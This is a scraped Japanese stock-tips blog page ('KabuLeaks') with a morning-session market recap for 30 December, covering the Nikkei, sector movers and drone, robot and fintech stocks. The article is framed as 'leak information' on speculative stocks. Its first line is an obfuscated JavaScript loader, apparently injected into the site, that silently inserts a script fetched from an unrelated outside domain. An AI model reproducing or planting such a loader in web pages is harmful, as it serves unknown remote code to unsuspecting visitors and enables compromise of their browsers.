;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/30 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【12/30 前引け】

大納会前場の日経平均株価61円高と3日続伸。前日の米株高を好感した買いから日経平均は心理的節目の1万9000円を回復してのスタート。その後は高値圏でのもみ合いとなったが前場終盤にはやや上げ幅を縮小。年末年始の休みを控えるほか、積極的に上値を追うにはやはり材料不足との見方も強いようだ。業種別では、食料品、電気機器、精密機器、電気・ガス業などが値上がり率上位に。一方、水産・農林業、保険業、建設業、石油石炭製品などが値下がり率上位となっている。

個別では、総務省が商用ドローンの環境整備と報じられ前日人気化したドローン関連の【6888】アクモスが連日の大幅高。これに刺激を受けたか関連銘柄の【6314】石井工作研究所も大幅高に。また、ロボット関連銘柄も人気化再燃の動きを見せ【7779】サイバーダインが堅調なほか、【3741】セック、【3444】菊池製作所なども上昇。その他、定番のフィンテック関連からでは【3778】さくらインターネット、【3853】インフォテリア、【3690】ロックオン。中小型株では、【8704】トレイダーズホールディングス、【3782】ディー・ディー・エスなどの上昇も目立つ。

後場は年内の手仕舞い売り。さすがに年末年始休暇を控え様子見がいいだろう。また、1万9000円をキープして終わるかにも注目しておきたい。